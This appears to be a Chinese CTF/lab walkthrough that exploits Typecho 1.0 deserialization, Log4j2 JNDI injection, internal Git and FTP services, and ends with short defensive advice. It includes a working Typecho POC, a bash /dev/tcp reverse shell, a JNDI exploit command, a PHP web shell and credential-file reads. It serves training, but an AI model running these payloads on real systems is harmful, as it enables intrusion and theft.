记录一次坎坷的打靶经历·二
字数 1109 2025-08-11 08:36:11
Typecho反序列化漏洞与Log4j2 RCE漏洞实战教学
1. 环境准备与初始侦察
1.1 目标识别
- 目标系统:Typecho CMS 1.0版本
- 开放端口:80 (HTTP)
- 识别方法:使用nmap扫描
nmap -sV <target_ip>
1.2 目录扫描
使用dirsearch工具扫描网站目录结构:
python3 dirsearch.py -u http://<target_ip> -e *
2. Typecho反序列化漏洞利用 (Flag1)
2.1 漏洞背景
Typecho 1.0版本存在反序列化漏洞,可通过构造特定的序列化数据实现远程代码执行。
2.2 漏洞利用POC
<?php
class Typecho_Feed {
const RSS2 = 'RSS 2.0';
private $_type;
private $_items;
public function __construct() {
$this->_type = self::RSS2;
$_item['author'] = new Typecho_Request();
$_item['category'] = array(new Typecho_Request());
$this->_items[0] = $_item;
}
}
class Typecho_Request {
private $_params = array();
private $_filter = array();
public function __construct() {
$this->_params['screenName'] = "ls"; // 要执行的命令
$this->_filter[0] = "system"; // 回调函数
}
}
$data = new Typecho_Feed();
$poc = array(
'adapter' => $data,
'prefix' => "typecho_"
);
// 序列化并Base64编码
echo base64_encode(serialize($poc));
?>
2.3 利用步骤
- 运行上述PHP代码生成payload
- 使用Hackbar或Burp Suite将生成的payload通过POST方式发送到目标
- 查看命令执行结果
- 修改命令获取flag:
cat /f*
3. 数据库获取Flag (Flag2)
3.1 获取数据库凭据
- 查看网站配置文件获取数据库信息:
cat config.inc.php - 获取到的信息通常包含:
$db = new Typecho_Db('Mysql', 'typecho_'); $db->addServer(array ( 'host' => 'localhost', 'user' => 'root', 'password' => 'password', 'charset' => 'utf8', 'port' => '3306', 'database' => 'typecho', ), Typecho_Db::READ | Typecho_Db::WRITE);
3.2 数据库查询
- 登录MySQL数据库:
mysql -u root -p - 查询flag:
show databases; use typecho; show tables; select * from typecho_contents;
4. Log4j2 RCE漏洞利用 (Flag3-5)
4.1 漏洞背景
Log4j2中存在JNDI注入漏洞(CVE-2021-44228),当程序记录用户输入数据时可能触发。
4.2 漏洞利用准备
- 准备反弹shell payload并Base64编码:
echo -n 'bash -i >& /dev/tcp/<your_ip>/1234 0>&1' | base64 - 使用JNDI注入工具:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,<base64_payload>}|{base64,-d}|{bash,-i}" -A "<your_ip>"
4.3 利用步骤
- 构造payload:
${jndi:ldap://<your_ip>:1389/<random>} - 在登录框等输入点提交payload
- 监听端口等待反弹shell:
nc -lvnp 1234 - 获取flag:
cat /flag cat /root/flag
5. Git仓库利用 (Flag6-7)
5.1 发现Git服务
- 扫描内网发现Git服务:
./fscan -h 192.168.1.0/24 - 通过代理访问Git服务
5.2 克隆恶意仓库
- 创建包含恶意代码的Git仓库
- 使用phtml后缀绕过限制:
<?php system($_GET['cmd']); ?> - 克隆仓库并访问恶意文件
6. FTP服务利用 (Flag8-9)
6.1 发现FTP服务
- 扫描内网发现FTP服务:
./fscan -h 10.10.0.0/24
6.2 FTP连接与利用
- 使用代理连接FTP:
proxychains ftp 10.10.0.3 - 使用凭据登录:
Username: guest Password: guest - 获取flag:
get flag
7. 总结与防御建议
7.1 漏洞总结
- Typecho反序列化漏洞
- Log4j2 JNDI注入漏洞
- Git服务不当配置
- FTP服务弱口令
7.2 防御建议
- 及时更新系统和组件版本
- 禁用不必要的服务和功能
- 使用强密码策略
- 实施最小权限原则
- 监控和审计日志
7.3 学习资源
- Typecho反序列化漏洞分析
- Log4j2漏洞原理与利用
- 内网渗透技术
- Git和FTP服务安全配置
通过本次实战,我们学习了从外网到内网的多层次渗透技术,包括Web漏洞利用、服务枚举、权限维持和内网横向移动等关键技术点。